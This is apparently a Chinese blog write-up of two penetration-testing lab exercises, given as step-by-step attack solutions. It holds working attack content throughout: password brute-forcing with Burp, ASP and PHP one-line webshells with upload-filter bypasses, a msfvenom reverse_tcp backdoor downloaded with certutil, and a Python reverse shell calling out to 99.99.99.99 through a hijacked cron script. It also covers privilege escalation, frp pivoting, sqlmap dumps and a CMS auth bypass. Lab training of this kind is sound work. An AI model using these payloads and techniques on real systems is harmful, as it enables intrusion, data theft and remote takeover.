渗透测试


测试1

阶段1: Web站点渗透控制

任务1: 端口扫描获取后台地址

题解:
打开Kali_MissionKit操作机,在桌面新建终端,使用nmap工具扫描192.168.2.100开放的端口:

nmap -Pn -sT 192.168.2.100 -p 80,8080,1433,3389,1525,3306

img

可以看到目标开放了3389,80端口,在Win10_MissionKit操作机中使用浏览器访问该地址的80端口,可以看到目标主机开放web应用:

img

通过观察我们可以发现该站点用了一套atomaticms系统,Kali_MissionKit操作机的桌面有对应的源码文件夹,进入源码文件夹对atomaticms系统的文件结构进行检查,发现疑似后台管理员登录地址:

img

img

Kali_MissionKit操作机打开浏览器:

img

访问http://192.168.2.100/acms_adminlogin.asp,发现目标站点的后台登录口:

img

任务2: 暴力破解登录密码

题解:
Kali_MissionKit操作机中设置浏览器的代理:
img

img

代理地址和端口如下,配置完成后点击OK

img

Kali_MissionKit操作机的终端输入burpsuite 启动Burpsuite 抓包工具:
img

img

img

img

img

此时抓包工具已开启拦截:
img

回到浏览器中,输入登录信息:admin/admin
img
点击LOGIN
img

此时抓包工具出现记录,通过点击Forward按钮可查看下一个包:
img

找到包含登录信息的数据包:
img

将数据包发送到攻击模块,尝试暴力破解admin用户的密码,点击Action>>Send to Intruder

img

点击Intruder>>Positions,点击Clear
img

双击选中password=后面的admin
img

选中后点击Add,准备爆破密码信息:

img

点击Payloads>>Load...

img

添加密码字典:
img

配置完成后点击Start attack进行暴力破解:
img

img

破解结果显示test123的响应长度不一样,在Response中发现网站主页的链接,确定test123为登录密码:

img

任务3: 文件上传获取Shell

题解:
抓包工具关闭监听,点击Intercept is on按钮:
img

浏览器中使用爆破得到的密码进行登录:

img

发现报错500:

img

通过对源码的检查,发现文件上传界面:

img

浏览器中尝试访问:
img

在桌面创建文件,命名为1.asp
img

修改1.asp文件的内容为一句话木马:

<%execute request("cmd")%>

img

上传1.asp
img

跳转到后HOME界面:
img

1.asp重命名为1.cer
img

1.cer进行上传:

img

上传成功:
img

任务4: 获取管理员权限

题解:
Kali_MissionKit操作机中进入/root/Desktop/tools/antsword/AntSword-Loader-v4.0.3-linux-x64/目录,在该目录下右键打开终端:

img

启动蚁剑:

./AntSword

img

右键空白处点击Add,shell信息如下,点击Add进行添加:
img

双击添加的shell url进入文件目录,将桌面的ms15-051x64.exe文件通过拖拽的方式上传至蚁剑工具:
img

蚁剑中在ms15-051x64.exe文件所在目录下右键打开终端:
img

执行命令查看权限:

ms15-051x64.exe "whoami"

img

获取到system权限。

阶段2: 站点数据库渗透控制

任务1: 数据库SQL注入获取Shell

题解:
继续检查门户网站的文件结构,发现acms_pageedit.asp页面:

img

浏览器中进行访问:

img

点击Content Management>>Pages

img

点击HOME

img

抓包工具启动抓包,点击Intercept is off按钮:
img

浏览器中点击UPDATE按钮,抓包工具中出现记录:

img

全选包信息另存为1.txt,将1.txt放在桌面:

img

img

此时我们创建http服务,将1.txt发布到Win10_MissionKit操作机中;在Kali_MissionKit操作机的桌面右键打开终端执行命令:

python -m SimpleHTTPServer 800

登录Win10_MissionKit操作机,打开浏览器访问:

http://66.66.66.6:800

img

点击1.txt出现文本的内容:
img

打开SQL注入工具,检查站点是否存在注入点:

img

双击exe程序:

img

1.txt的内容复制到请求栏中,修改IP地址,完成后点击识别注入
img

img

日志出现注入测试完成后可查看注入记录:
img

img

发现注入点后执行命令:
img

输入命令后点击执行,日志栏出现提示,若无提示请再次点击:

img

获取到主机的命令执行权限。

任务2: 建立连接获取管理员权限

题解:
Kali_MissionKit操作机中,在桌面右键打开终端,我们用msfvenom生成一个可执行后门:

msfvenom -p windows/meterpreter/reverse_tcp lhost=66.66.66.6 lport=6666 -f exe -o shell.exe

img

回到Win10_MissionKit操作机,在SQL注入工具中执行命令:

certutil -urlcache -split -f http://66.66.66.6:800/shell.exe

img

Kali_MissionKit操作机中的终端启动MSF:
img

执行命令开启监听:

use exploit/multi/handler

set lhost 66.66.66.6

set lport 6666

set payload windows/meterpreter/reverse_tcp

run

img

回到Win10_MissionKit操作机,在SQL注入工具中执行命令:

shell.exe

img

执行完成后回到Kali_MissionKit操作机,获取到meterpreter会话,查会话的主机地址:

img

使用getsystem命令进行提权,获取到system权限:

img

测试2

详情 - 标准资源_CPIT0000002-CMS内网渗透基础演练

阶段1: Wakanda主机渗透

任务1: 文件包含漏洞获取权限

题解:
Win10主机访问192.168.1.7

img

查看页面源代码

img

看起来很像文件包含。

测试读取一下代码。

http://192.168.1.7/?lang=php://filter/read/convert.base64-encode/resource=index

img

将源码复制到输入框中:

img

全选后进行base64解码:

img

将解码后的内容复制粘贴到文本文档中,打开后发现一个用户名和密码。

img

img

mamadou
Niamey4Ever227!!!

kali主机中使用Nmap对wakanda机器扫描全端口,命令 nmap -sT -Pn 192.168.1.7

img

找到了端口尝试去登陆。

成功登陆,登陆之后发现是一个python。

ssh mamadou@192.168.1.7 -p 3333

yes

Niamey4Ever227!!!

使用pty
import pty;pty.spawn("/bin/bash")
构造一个交互shell

img

成功读取第一个flag

img

任务2: 构建反弹Shell打印Flag

题解:
读取etc/passwd

img

发现有一个账户devops

进入到该目录下

img

发现flag无法读取

此时读取一下devops用户的其他文件,查看一下第一个文件,发现 .antivirus.py文件可以写

find / -user devops 2>/dev/null

img

查看.antivirus.py文件,只有一行内容,即向/tmp/test中写入一行

img

仔细观察后发现,test文件每分钟就会被修改一次,说明有一个定时任务在不断调用.antivirus.py

img

于是尝试将.antivirus.py的内容修改为如下内容:

f=open('/home/devops/flag2.txt', 'r').read()
open('/tmp/flag.txt','w').write(f)

几分钟后查看tmp目录,果然出现了flag.txt,读取便获得了第二个flag

img

构造python反向shell,代码如下,写入到.antivirus.py文件中(编辑文件命令:vim /srv/.antivirus.py)。

open('/tmp/test','w').write('test')
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("99.99.99.99",1235))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])

img

本机监听,等待执行 成功反弹,读取flag

img

img

任务3: 目标提权获取root权限

题解:
信息收集:

img

执行sudo –l

img

看到有一个pip是无需密码即可执行,且root权限

此处需要用到一个py脚本,kali操作机已经提供了,在kali的Desktop目录下

kali操作机使用python打开http服务,访问kali操作机的http服务下载py脚本提权。

img

img

编辑setup.py,设置成kali的ip地址

img

在kali操作机种使用nc 监听 13372 端口,然后直接在定时计划任务反弹的shell执行以下指令
img

回到devops的shell执行命令:

sudo /usr/bin/pip install  . --upgrade --force-reinstall

img

nc反弹成功,root权限:

img

看到root.txt的内容,得到Flag。

img

阶段2: 内网博客站点渗透

任务1: 扫描内网建立跳板

题解:
在root权限的shell中上传frp代理工具:

img

/root/Desktop/tools/frp/目录下打开终端,执行命令:

chmod +x frps  //赋权

./frps -c ./frps.ini   //建立代理服务端

img

在root权限的shell中执行命令:

chmod +x frpc  //赋权

./frpc -c ./frpc.ini   //连接服务端

img

代理建立成功:

img

连接成功后设置proxychains的配置文件:

img

新增记录:

img

内网探测:进入/root/Desktop/tools/PortScan/目录,在该目录下打开终端,使用代理扫描内网前十个IP地址:

proxychains python scan.py 192.168.1.1 192.168.1.10 -t 20

扫描完成后会在/root/Desktop/tools/PortScan/目录下生成日志文件log.txt,双击查看:

img

注:若扫描长时间为结束请检查是否存在卡顿现象,检查代理报文是否一直更新,访问内网其他主机的80端口判断代理是否正常,若异常请先重启代理服务端,再重启代理客户端;若代理正常请再次运行命令执行扫描。

发现存在主机开放80端口。

登录Win10侦察终端,打开代理软件:

img

双击任务栏出现的图标:

img

建立代理服务器:

img

添加记录:

img

配置信息如下:

img

点击Yes>>OK>>OK完成配置。

任务2: SQL注入读取用户密码

题解:
使用Firefox浏览器,输入IP地址192.168.1.8,打开该网站。

img

看到该网站的主页有个test选项,点击 test发现跳转到cat.php页面。

img

判断当前页面可能存在注入,对其进行测试,在参数 id=1的后面加 单引号,页面报错存在注入。

img

但是错误跟平时的似乎不太一样。显示为pg_exec()查询失败。所以可以大致推断,这是一个Postgre数据库的SQL注入,我们使用sqlmap 进行自动化sql注入测试。

探测目标网站的数据库数量,切换到Kali侦察终端,在命令终端中执行 proxychains sqlmap -u http://192.168.1.8/cat.php?id=1 --dbs(过程出现提示一律输入y)
img

探测public数据库中有哪些表 proxychains sqlmap -u http://192.168.1.8/cat.php?id=1 -D public --tables

img

探测 public数据中users表的信息 proxychains sqlmap -u http://192.168.1.8/cat.php?id=1 -D public -T users --dump(过程出现根据提示输入y或回车)

img

任务3: 上传Webshell获取连接

题解:
回到Win10侦察终端,我们在网站的页面点击 admin,跳转到网站的后台登录页面,输入我们通过sql注入获取到user表中对应的用户和密码。
img

发现后台存在文件上传的地方,我们进行文件上传测试.
img

点击browse ,选择桌面上1.php文件进行上传,然后点击 add 添加
img

发现上传php文件之后,出现了 NO php 的提示,此时说明php文件不能上传。
img

先尝试上传.htacess文件,如果AllowOverride是默认值,即ALL,那么就可以通过.htaccess文件来将其他扩展名的文件作为PHP文件来解析。

首先在桌面创建一个名为htaccess的文件,内容为:

AddType application/x-httpd-php .xyth

此时设置火狐浏览器的代理为Burp监听的IP地址和对应的端口

img

img

点击Settings…,设置代理。

img

用rolan打开Burp抓取firefox的数据包.

img

选择Burp 中proxy 模块下面的 intercept 选项,设置为 intercept 为 off.

img

此时在 firefox 浏览器中选择New picture,跳转到上传页面后。
img

把Burp proxy 模块下面的 intercept 选项,设置为 intercept 为 on,在firefox 浏览器中选择上传的文件为 htaccess,在burp中点击forward 之后,再在firefox 浏览器点击add按钮,此时Burp抓到htacces文件上传的数据包。 在数据包中的 filename中的htaccess前面加上一个 点号,我们选择forward 按钮把数据包转发出去。

img

出现下面的页面表示上传成功。
img

在我们上传完htaccess之后,我们在本地桌面创建一个后缀名为xyth的一句话木马文件,其内容<?php @eval($_POST['cmd']);?>

选择桌面上一句话木马文件,点击Add按钮,进行上传(上传前burp关闭拦截)。
img

启动蚁剑:

img

shell路径如下:

img

连接成功:

img

阶段3: 内网EasyCMS渗透

任务1: 纵向越权登录后台

题解:
在kali侦察终端中,我们使用 proxychains 代理启动火狐,在kali 操作机中的命令行中输入 proxychains firefox,访问easycms网站,进入网站首页,该版本CMS存在纵向越权漏洞,可以在不知道管理员身份信息以及密码信息的情况下登录网站后台。

在url后加入admin(管理员目录)跳转到后台登录页面。

img

根据漏洞原理中得知,现在需要使用modify伪造一个ip,然后编辑get参数绕过后台登录认证。

使用modify使用X-Forwarded-For方式(网站获取ip的函数是获取http请求中的X-Forward-For字段),设置ip为网站的IP地址,然后点击start伪造ip。

构造我们的get参数为:admin_dir=admin&site=default&ishtml=1

img

访问:http://192.168.1.6/index.php?admin_dir=admin&site=default&ishtml=1

img

成功登陆网站后台。

在后台源码的标题位置发现flag1。

img

任务2: 访问其他页面获取Webshell

题解:
现在注意,虽然我们登录了后台,但是并不是管理员身份,也不能在后台通过点击链接访问后台除首页以外的其他页面链接。后台都会要求验证身份。只能通过get参数去访问其他栏目。

设置参数为:
case=language&act=edit&table=orders&admin_dir=admin&site=default&ishtml=1访问语言项设置页面。在最后一页发现小马提示。

img

你通过测试发现不能够正常连接,于是对发现的小马进行正常的分析与猜测,最后发现正确的小马名称应该为administrator233.php

在kali侦察终端中启动蚁剑,设置同样的代理,代理的IP地址为99.99.99.99 ,端口为之前代理工具设置socks 端口。

img

img

连接shell,查看小马文件,发现flag

img

img

任务3: 访问数据库读取Flag

题解:
在蚁剑中查看网站的数据库配置文件/config/config.php(基本php的cms网站都会有一个config的网站配置文件,保存了数据库信息)

img

连接网站数据库。查询easycms数据库得到flag4,在Win10攻击机中使用相同的shell进行连接,将flag4在火狐浏览器中进行base64解码。
img

img

img

在网站的/etc目录下(该目录一般存放了服务器上各种服务的配置文件)获取flag。

img

1


文章作者: Daniel
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Daniel !
  目录